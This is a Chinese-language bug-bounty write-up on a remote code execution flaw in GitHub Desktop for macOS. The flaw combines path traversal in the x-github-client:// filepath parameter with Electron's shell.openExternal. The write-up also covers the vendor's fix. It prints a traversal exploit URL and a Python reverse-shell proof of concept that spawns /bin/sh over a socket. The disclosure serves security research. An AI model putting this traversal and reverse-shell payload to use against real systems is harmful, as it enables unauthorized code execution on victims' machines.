挖洞經驗 | GitHub Desktop 在OSX系統下的RCE漏洞
2018年,我有幸受邀參加了HackerOne在賭城拉斯維加斯舉辦的,賞金超過50萬美金的H1-702黑客馬拉松大賽。本次大賽的測試目標包括GitHub,對我個人來說,我平時喜歡對一些常用軟體開展漏洞挖掘,有了這個基礎,我就把GitHub定為這次比賽中我的測試物件。最終,我發現了GitHub Desktop程式在OSX系統下的一個遠端程式碼執行(RCE)漏洞,但卻被認定為超出測試範圍!好在,GitHub眾測專案中有這麼一句”偶爾,我們會根據具體情況酌情獎勵一些例外的漏洞報告“,我也獲得了GitHub官方的不菲賞金。
漏洞發現
我們可以在GitHub官方的漏洞致謝榜 - https://bounty.github.com/ 來檢視一些已經發現並作過披露的漏洞,我注意到,其中有一外名為 @zhuowei 的安全研究員,在2017年發現並上報過一個GitHub Desktop相關的遠端程式碼執行(RCE)漏洞:
如果有類似的漏洞發現,可以肯定的說,它已經被修復了。但是不是針對每種作業系統都做了修復了呢?好吧,大家可能也見過這種情況:
有了上述披露漏洞為基礎,我就開始研究起了x-github-client://,這是GitHub Desktop常用的URI機制,它支援的一種操作是openRepo,它可以自動開啟某個儲存庫(repository)中的指定檔案。如果該庫在當前GitHub Desktop中不存在,程式會提示使用者進行克隆(Clone)後再開啟檔案,如下:
x-github-client://openRepo/ https://github.com/github/training-kit?branch=master&filepath=README.md
如果我們構造的檔案路徑引數如下會怎樣呢:
“../../../../../../../../../../../Applications/Calculator.app” ?
這樣的URL路徑將會開啟系統的計算器程式,這樣一來,就能擺脫出儲存庫(repository)目錄,在檔案系統中執行或開啟任意程式或檔案。然而,由於儲存庫(repository)中包含了針對OSX系統的應用app,這種應用app是一種特定的包目錄格式。所以,我首先想到的就是,OSX系統對這種應用app從網際網路上下載且存在的檢測機制,由於app應用是通過Git克隆的,作業系統不會提示使用者確認此操作。那麼,GitHub Desktop是如何來實現這種app應用的下載呢,其中的根本機制是什麼呢?我們先來看看GitHub Desktop的以下兩個原始碼:
app/src/main-process/main.ts... ipcMain.on( 'show-item-in-folder', (event: Electron.IpcMessageEvent, { path }: { path: string }) => { ... if (stats.isDirectory()) { openDirectorySafe(path) } else { shell.showItemInFolder(path) } ... app/src/main-process/shell.ts
import { shell } from 'electron'; export function openDirectorySafe(path: string) { if (__DARWIN__) { const directoryURL = Url.format({ pathname: path, protocol: 'file:', slashes: true, }) shell.openExternal(directoryURL) } else { shell.openItem(path) } }
原來在在OSX系統中,系統檔案目錄路徑被轉換成了file:/// 的URL來開啟,而且GitHub Desktop還預設應用了Electron前端框架的shell.openExternal()函式來開啟URL。
POC
有了以上的發現,我嘗試著來進行編寫漏洞利用程式碼,我用Pyinstaller的Python方式構造了一個反彈shell,並把它託管在我Github上名為 github-desktop-poc 的庫中,其中,主要的漏洞利用指令碼rce.py為以下程式碼,它觸發了目標系統計算器,連線目標系統1337埠,然後開啟目標系統目錄:
import socket,subprocess,os; os.system("open -a calculator.app") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("localhost",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
如果此前GitHub Desktop中沒有克隆過 github-desktop-poc 這個庫,那麼在接下來的步驟中需要點擊出現的Clone按鈕,進行克隆,在進行這個操作行為時,我們構造在庫中的特定Payload檔案就會被間接請求執行了;如果此前GitHub Desktop中克隆過 github-desktop-poc 這個庫,那麼,最終的漏洞利用完全無需與使用者互動,就能實現攻擊,如視訊的後半部份演示那樣。
看不到?點 這裡
攻擊場景為:攻擊者可以在他自己的Github庫中託管一個OSX app,然後在這個app中構造進入一個惡意連結,如在一些特定專案或README.md檔案中,然後,按照上述漏洞利用方法,就能針對安裝有GitHub Desktop的目標OSX系統實現遠端程式碼執行了。
這種一鍵式的RCE攻擊需要具備以下要求:
OSX系統的GitHub Desktop克隆過惡意庫;
信任GitHub Desktop URLs,並能總能開啟惡意app中相關的各種型別URL連結。
漏洞修復
Github官方的修復非常簡單,也就是在上述提到的app/src/main-process/main.ts中,添加了一行程式碼:if (!__DARWIN__ && stats.isDirectory()) ,以此來判斷不是OSX系統,最終程式碼才能往下執行(DARWIN為蘋果開放原始碼作業系統的簡稱):